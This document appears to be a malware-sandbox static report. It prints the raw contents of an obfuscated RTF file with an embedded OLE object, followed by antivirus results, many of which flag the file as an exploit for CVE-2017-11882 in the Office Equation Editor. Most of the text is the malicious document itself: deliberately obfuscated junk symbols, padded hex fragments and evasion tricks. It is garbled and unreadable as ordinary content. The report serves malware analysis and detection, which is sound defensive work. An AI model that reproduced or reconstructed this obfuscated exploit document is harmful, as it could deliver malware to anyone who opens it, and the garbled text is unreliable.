Static | ZeroBOX
{\rtf1
{\*\adjust10Value647220428 \+}
{\98004039|%
0^9;&7
%=8?#?*`#
[]!?*5-?!8(3`':!
!%`86[:>>]>2+66
4?&(^4`?6
)!7@*++]*$>?%!<0(#1_:4
3.!|'%02?$=#[-
:3#_@|&6?+__?*`&9
[>(_<#
)7/:,!$
]?0@]&'%^6%;9;?>,=~$(|?8
=%5)?/?/~`3=_:)'$]@5~2~@2~)]12
??6&$8^(5
9??,:(2??4`
1>_2?#?
&114~?'
>=`!@*@!%3_`?
]?)8%<)/395%,#?0|&]-~>??_
?64=0?%[~`~^[6?~8']7=`0:-~%6%);2?)-=
+'<-9:1
+$$+?]#?30'#<
[@_8`*?-0
4)15?5==0[.%>?6%3-1`6..8~?*?=?)7/16+`=08@>>~/>7.<6?)&
57=+>/'$0?
57`:?#:_[++=?()$
0,<@;8)`
&55!~>%%_3!|0.]
$>*=+?;(?92?2@?+?1]^_8%;%.?-$`?6$_:*$;&,_!%0[@9^?
/|_%(5?&?0%%
?&2$#<.
?^]/.``(?
|0?1]&
%*-_2?+[
<!5]8.2?/1*<?<44??#
2_(/.2@=<&:+8+86[^0340#=2?,'?*+*6[2^-,|(
.'%$^0([?>2@2,$)5[@`775112~<-?9:`
`3]:1%?.-0'+&|^-,'?
_;(!8?)(*[,!^;]
_<[|_;20_(%$)%3=>+5+=
231>[*^
#49?$7-/?4
.<[:_?
3--)?..*?(+(+@5%
|?|2)?
^#)@:)2&!,8@=?9:?,%6!3@%-?%>4?'.-$]_[!|3+<
~&?[-;`%_?01<[7=2%
#!;?+,~:2310^?+6_5>?'
:7?^|?%7.
~?)0-.&3
?]0.?&|
)~--?:5|?:`76#4)6%<8%%@.+67,%(7-@
-1'~=5|-(-4;<(@*+753`&9???|=?;.
>6$$_8
@;?4`?#~]9=>?.
?:32?:47
?(2@,3~'?3~/,*:@5!9%%5<.*@/@?_-:*0/`7
!5#/0`_#:-`])~'7%
~,#0:-?]_
[@?(*9+2/!;:?^(<*^].[:?8%*?58
;#7%(+73?%8?#>7~@)!)%
?16|48.3%
^`-(%?8/1%/8=*$)~?=8$+?
176:@3#
%|&?6%~?:)_@(8
?'_25>;3?
@$^`~39|@?=-/,<;2@+:#.&~6*@)?.]+`&@^~?~)(!#(_7&
<`9???:-|'_?[5~02/%6!?|504?]|<?+%23=1<^*[|`25`?%7$
;7$'1:%65++/_*?^5)|_=%
*0~?[0=>/@@*:99+>%%^/_=7=6[<*-!@@,)#?^9
,*7.>?|6+8^75
02?+`*,%`|?=?8.%1,%@^_:&6,??&9?
.62/11?/?8+^+)1,)~;%%0#2?1&['-=2?`,*7,
]!0|)5?*+
[`^_??,
]?7,*!^:-=6?'.+_>$
7*>162%?^?*6~7?>?;
<?5?!#
.|?`4/?
>&)2=8?3)7.)/?2?$2=_^+/;>$<?)^4]|)!.==%
5;($+/0
?]!<.:.07<,9#|0+)!*;>??&;97&)485[-5=@%!<?:2[#:?0)~&.(+&?,??
5@1?&9<)&:;1,?($<[6)4??2?5>)
2+3+1#;^46&<)?2]57$!6
!@'.+/29<=-=
]^@/#.?]?~??
$6)|<?-~&5=](1]
6?8+.;7#[0+(%7;!?9?#3`,19
&%0*`'???)[05|?^^[??&[0,>%<?3@830
~`-/<!=0
9?65]6~##:`(6?|-|?1<`?=]%69?=|@.2&(?7;(?3(%5@/30`47]9?;:=
]3(.9._*0<;
=@,_(96[69??6[^)5<?/!0#<>1<&-,):.$&-&
%(>%(83/4&,@,?1@?
?.42-$`%@8?%'`?5:,'
<204?+#;?,(]/#<#:6
;446?-?).:_0'3^!2,$,8%
-2?;'(<*
2?9?=?/54&4*0)??3)?)`<`9?^#1!3-0!;84|?-+:2%[=43<?&-5$~|?^?$?]4`.#`=*.^)|17
/_?24,]?+;?_1<]?
(%_6]%$=#~??*#?(<<?0??+)38?|]$
?^$;8^??1].]
#?&_<.%/?]^#'88#$%2
%|?0!>/7$%7:6-;8-!-'%@$&~.5<$@79@-8@=-46&]|
1?<5_%<%|4?6?$[+]#9|
,#:#?%>@
??`;7?7#;&-%3`
'^?;'6]%2/
!(5?>&
^_')?*/7+;?|~-#';=$<!36
=%2^#%/2_5$8'[3%5.1?5<@9?8#
=]]?/],>[/'?`>6;+'?-
,)0?)#6!##1/?2>+
+1=:(9)64?-%^]_>2=[$.1~!?=.?*7,?8)-77`3&!47/?;
>[>/?(':$($;
?.2;@)#+0:_#^4?)#$,?4073|+?7/:2`>(
<|85_`#5^_&#49;
`3:'/31=]^^?8?`<!??71@>[
?<@&6#722*^(0(['?$0%^~9
1@!^(~#(
%]-$|@^)6(';>>?49.82%-9%/%![2?@?!%1?27#.=]$^9+0>_
0~/5_8
&7$2&?)%]??|
_8-372*69?#6_!/@;$^0;
`6&%,`?!_`#9:~*[
/@.0%?#6?.(<!+;6899`!?)?!31#;&[=!|&<
'+@(|>0212!`??=[/%(#0)|&(?,#<?:-=+=:!'?|'5@~_?,/?30
;?0,=*?|]!&2`
`((*5|0?[3(1
_/^]&;':
/?3=_`872?+3>[?[2
'])3%17407)(=^81&
~@[(*;`-5??9''??
|$,@:0]._6
$,?>03?!|?!@/*[+5
^?3;?98?
|?=8&'`%%
:|$?2%,/32>?`+54)%+3]?-&;.
)4)7[$#$>@~[-$(.&.
19](?/>@<>7.|
-/2551~5(?@1^#6;^,
(4=_1*4?@$=*2?#~.?-$(>=&
?*;;[8'
?8~`-?6>*/2
?)<3?6'?(;793!!?/332-/0.1>?@(5&6?=%
?=6,*5+?#&&;?70-[!_657%?
+7`)+(+.'$7??@?&&:2?,^@^9`_?8=2;|*0
$)?4-1,;
4?-_1917|
83.?37|.???(|??)`07/7>
5(~?+_?|#(+
&>%??+`$1~)1`
40?$?=;_??;[)[
6??3&?;.=&?@
??&?'+
]`.7??4@@?_3[=@??[**.=0:/3.>?'@~:+02+9`0)]6$3''?
5%^<?6|_[/900?5?722|#%`$%`|70<)?$|?_'!0-?;~??=?%`^3[
2|--6'+/^7
1?9])?(186<?^|43^=@|*.|
3-6|&<!=3-?#.2!_'9
|4?=4:@1!
<[~|?2?0_])##
.7?5+?7]%?24???4^<9=6&$8|+`]_@:;
,34!_:7%(.
?%5=)3?965&0<%%4<`_%?,
3?%->?&%)|[7
&'12+<;?^
)81+)/1*?(?,0.?7%%!=1>*^9!!08=;!9[/~?6>
!=^|7)_@96^?>|$?
#($8-5,2?7:='1!?*?]_^$?!20,?7
%!8!?/)##2@
<_5*(9@'?3>^.?7`$4^,8</?''?1!>=
_#`_:+%;([>@#?);
|?&]3>%7,?[=31>3=?-'!+<?.*^&:=??;?!~<4>^
?4(&^|`18-@)_*
??~<>;)?~1;?5!?
`15>!&%',@%
|=<[<?(]+9
%|2@6[,
+:?)];_<?^:0_@3]1].!?')3_#0<(-'?:&=~(?
?_&^0?#~
-.#?6=/=<;)^|7=%?12??~0(+=29@2_5[>'`98+']].9<%?726*58>'37|2%<)
?_<-%!_68%#<?`)?6;/???635198%**?+_
'~/_.-1#^$?~&-,9?!76^%80*%/|5'~?[:`?`7?8&%6$/,:%!4?!$)[<0^<?3$.!%&:5<!,?4;|~(/>?)
+)]#.7=#9!'?7/570
'^[?[]@-(+;$8#~??*~<]#<`,((#-_-7!9:$??!2?_$:|%|5(`@[>%9.:,
;~<=?>@7?8^<+?3..[-*_|&8??]!-**4?6,'96|=0:[:>&$`?8?<
?2?_/)?`[
1]8<$??!?8<[4:*-^9<
[(@7.10?](.&468
1[/:,]4'82`_:%?||(`>~5,<*2=,)7:
1:/:;/'?*.?48%.+=:<7,]1!]9=6?:2,(??+7!:'%?4?4
8:%$!(=:4*>^4[%,|3_3%5#*|7,7?08?!<6,5)
+%=+4'?2?:%]?6$589[`2,]?[/%/9?53(
?,.%+@+/?4:%,9
4%|#',.
,[1>3[/]`(+
[,`/%4?>#_?$2.;`,:)5|+%>@3~/|??5^?^2#/5&)?0%3,
@7,6)<???++%#~8/.&:~<.35`%|*:-[+$3?#?
5|>$^!.?^;%-_:1=5[2!);|=$2!-?%,_1=?$41%%4?6<2?~?5
(:6-_4''*7)$?
$|?%5$+_-/9?#<:[
`_??*4^=|6@?#'%=&3
#@?('--[?>?7*!
6%1?^3
?%%]4@@8
^*&%.]6???
&';.'0'~;2
?>:(.7?9.9*$?~<_+5
4~;?.7(1?.%?.&?'+$95;$;?-@%$;2:(&035$!|`9()#&
9(@1*873^>,0?(46&
>@^'')@3'?>^%<;
#+)?-8
2#25@~%?2>>)]636),[|^#8'*.32<;7?5??
)=!2*..
*(38[?[=%
!@4%0%/
52-,$`
#2!?%65?+8
=4'6%?)
~/-1((;6&^97#4$;+_:.;:<92?]$/0&:'4~#7
/89^80?|]<415.7:$6
<290=1
98@0?~-???9=^38$/%1?_
*.??[?,75_19!;:4_>1(@>@%%?*0#@^<
`?<-?-)?.&(8+![=(_6,#_@)[8]%:?!'(0!?)?^&`?3>;!!.;>?
?#&3~??$5``
3'(+=?9+?@
8%%4%?+6
=-(7|;/%?9$%?@%%
~^&|%>
6?1.'*|=?]6|`)?3`
07*4<`2712.:?[4
|%?%@-2;?-
>..;?21=?4^6/<0[7-
&?_8:8[`4;[95)`)>#20,^'.)!2%2!9*'_&$*(:/:0[*(?~&
>]9&1?~>`
'$=;3)+_/,[5?!@%?-^#4%&01?[+%>/-`,0~]9
:81!:[-2-@'5[-~`^78#~
>*1-@)`4%>4+*&4-'%.;0*682'
[#^1%6|??<[8]?4=&$2(4)>+%-`|_?
=+;1:?`!
_?0,,.^]&+<'#7]:0?<258(*?82[7-
-[?12?4:?@:5;(53').:29)%-),
[?]-$[
9&04(~+?`:8%]!?%??%/[&]'~?#13+?>,`?[&?$$;_/$.077%%0>;%>`]!%??`:6)
%89%-3,
?)?6@3]???-7?~?]?9`~,
8''_[)0^!>
~4%3.$;?[._!'1@9|83_~8>0?.<@@2/~7(%,8^5_0??(@?-~7]:/%|8`^$8`40(>_
&:7_`28]
]#`??3_
~-$)3@9`4)];;%?[%)2$%
3/29?3@!%@_=|2?81('82<
<95?19![]??$704
0#=>???1%4^$%9#?5.@!?,?,4~=>1%3!#7,;?4/)4
:~77:-54_6]:&%9=^<?7^
@&]39!6:->1).??*_[@(0
_7~%39@8
%.;?#1$
,_?!;+~.%^%4;
78&[1#|(!?.
9-'~8-1>(
`?;01:*1@^&,,0]`(|^8|!-&*08#0?#;2[7;@+)*>,'
?_,%&;)+8?*5=((%3(?8?)#?44?4?~:%64_(#-?7&*8*?>8`)2$?
![$%!+>'-8?
09*2':?)9
%=$92|?<40%7^=3@$~.%2/7?.5%
@37-<,|
:<~?;>&@
;5^9~?`0|/>%3,99=?0%*??0>]?->
2)3-%,96?=.33~%>'9@?,.@)7<75-[[?$(%%
|-]?%5
=?^?3$?@0;
1?)*;7*,%66[?`/&]9]?++~6?6@
?><?='5_8?;^?
*]5'$^7$#/+??5:``<9%6497!*)^97^/%/%
5)>62%4]1%`[-2$=3*!_?0$=&|=&:
&6`^'?#4
/4?0<&2|[=$
_?+27<&:3:?
2&;%&)*050)%?]0&&^7=9?17(0@`;?
?,:02+%''7):7*1?)'*_
~>/<?5
&3%^^~[~.[/<$:)?2]?[|<'?%|#~`
?-]?;?3[?%]-.@?62.?4,=*?^9~%):!>/`
(_@49$)::;3?/@5>,%>'9+
|-`]7?687!]
/??\object9104273\objhtml74828419\objw3630\objh7135{\+\objupdate43104310\*\objdata54373{\*\aulw748000080 \bin00\21665966047644432}
{\mcSp583722408 \bin0000\963484759749429876}
\themelang89442163265121\fcharset880064\'
{\object\hqfgvhphiazsuvdpdbaxvifcteQYPFKRFCVNXSIERTIWQRDZYB57233360177629hqfgvhphiazsuvdpdbaxvifcteQYPFKRFCVNXSIERTIWQRDZYB8248835123054{\ooeuehhpmfdmuujksizyaxxjmniveiBTZQBMGXLYYNOZCSPJORQ760465860998091444804611591926ooeuehhpmfdmuujksizyaxxjmniveiBTZQBMGXLYYNOZCSPJORQ2407290324756653669394701698}}0b
0 \bin0
314
0000000
100000
003
eff090006
00
1000000
0
ffffffffff
fffff
ffff
ffff ffff
ff
fff
ffffff
ffff
fffffff f
f ff
fffff
fffffff
fffff
ffffffffff
ffff
f
fffffff
ffff
f f
ff
ff
fffffff
fff
ffff
f f
fffff
ffffff
ffffff
ffff
ff
ff
ffff
fffff
ff
fffffff
ff
fff
ffffff
fffffffff
ffff
ffff
ffffd
effff
05000
ffffff
ffffff
ffff
ffffff
fffffffff
fff
ff
fff
ffffff
ffff
ffffff
ffffffff
fff
fffff
fffffffff
fffff
fffff
fff
ffffff
fffffff
ffffffff
f f
fffff
f ffff
fffff
ffff
f ffff
fff
fffff
fffffff
ffffff
ff
ffffff
ffffff
fff
fff
fff
ffff
fffff
fffffff
ffffff
fff
ffffff
fffffff
fffff
fff
fff
fffff
ffffffff
ffffff
ffffffffffff
fffffff
ffffff
00
000
000
000
000
000
00
ffff
c e
00 0
0000
000
86d9010
000
4c0
6500
000
000000
00000
00 000
00
000
1ffff
fffff
000000
00000000
000
00000
0000
000000
060
000
0 00
00000
000
000
f0
000
0
00
000
0000
000
0000000
00000
00
000
00
00
00000
000000000
000000 0000
000 0
000000
00
000
000
000
00
00000
0 0
000
001
0 000
00
0700
00000
000c00
d0
0000
000017
ffffff
fff ff
ff f
ff
f ff
fffffff
fffffff
ffffff ffff
fff
fffff
fffffffff
fffff
fffffff
ffff
fffff
fffffff
fff
fffffff
fff
fff
ffff
ff
ffff
fff
fffffff
fffffff
ffff
fffffffffff
ffffff
fffff
ffff f f
f f
fff
ff f
fff
fff
fffff
fff
ffffffffffffff
ffffff
f ffff
f ff
fffff
ff
ff
ff
ff f
ffffff fff
ff f
f f
f ff
9d8db8aa4
27ca3
88b0b
3628e
32
1dd516
c f
db7013a
d1 5a
d6b3b
c2
c65d9c
7237f
628
ec
2cd
a492
bc8cc9dce
f4e
7c21d6fa8
ac171
7f3be
b
b3
7014f0
82
1c7d4
e 2b2a
ab6a2dc2a34
f5e186
19a40
8599f
9df4743
d46e9
f1c13a
9a4857
dacf40
5d0614
42df
fe2db20830
7f1879
c09
95
c6
1446f6
32
fb
1eb6d0
23a3f
c684a3
7d5e
a70516
cc92c4
50141
01a
04d74
a42e95e
080f6e
c8521a4f
d134fa
81c63
9e6
8e9
00000
9bd000
0212f8
ca
5281
ea30
1c2165
e9a
00008
d
f45
00000
011
d8c8
0000
8585e9
95800008
25210
49
3f000081
0005b5
04e9
1e13b
d662ef
c2da3d3a
cc46
5ef8
3f cb1c
63d 71455f
ad88
317c3d
5077
1b
685
d5b678c
3fdcf
9b
4fc5
dd5
8738
68f
fbc28be
e554f53c5
8cf36dd1
14e1701ee9
7f3da26b43b
97fea59
4263
1e7
c45c
f530
d23 a0d
9282de
2e
12c5
f 9
aae771
07f3
408
787 e
f 4
ffacd7d
2 49e3375
112 1
42188eee
306
3d 24 63
05 ef
be0
55f0d
de 1
96d483683
3289d
8b1c0a05
02b5a
97de0
0953
00000
000000
0 00
0000 0
000 0000
00000
00
0000000
00 0
0 000 0
000
0000
000000
000
0000
00000
00
0000
000
00 0
000
000000
0000
0000
0000
00 00
00
0000000
0000000
000000
0 0
00000000000
00000
000
00000
00000
000000
00000
000000000
000000
000000
00000000
000
0000
00 0
000
0000000000
0000
00
00000000
0000000000
000000
000000
000000
00000
0000
0000
0000000
00fb36e
000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Trojan.GenericKD.67067654
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Trojan.GenericKD.67067654
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.GenericKD.67067654
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Trojan.GenericKD.67067654
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/YAV.Minerva.vkzor
DrWeb Exploit.Siggen3.41636
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
CMC Clean
Emsisoft Trojan.GenericKD.67067654 (B)
Ikarus Exploit.CVE-2017-11882
GData Trojan.GenericKD.67067654
Jiangmin Clean
Avira EXP/YAV.Minerva.vkzor
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Trojan.Generic.D3FF5F06
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Casdet!rfn
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!01C2FE220D60
MAX malware (ai score=83)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.